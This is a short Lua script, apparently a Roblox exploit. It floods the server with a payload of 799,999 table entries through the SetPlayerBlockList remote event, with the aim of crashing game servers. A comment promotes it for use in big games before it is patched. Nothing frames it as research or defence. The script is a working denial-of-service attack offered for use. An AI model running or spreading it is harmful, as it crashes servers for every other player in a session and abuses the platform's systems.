--[[ Still works but you more than likely will get disconnected first before it crashes, if it happens just rejoin. Works very well in big games! go crazy before it patched ]] local remote = game:FindFirstChild("RobloxReplicatedStorage"):FindFirstChild("SetPlayerBlockList") local entries = 799999 local payload = table.create(entries) for i = 1, entries do payload[i] = { id = i, v = i * 2 } end remote:FireServer(payload)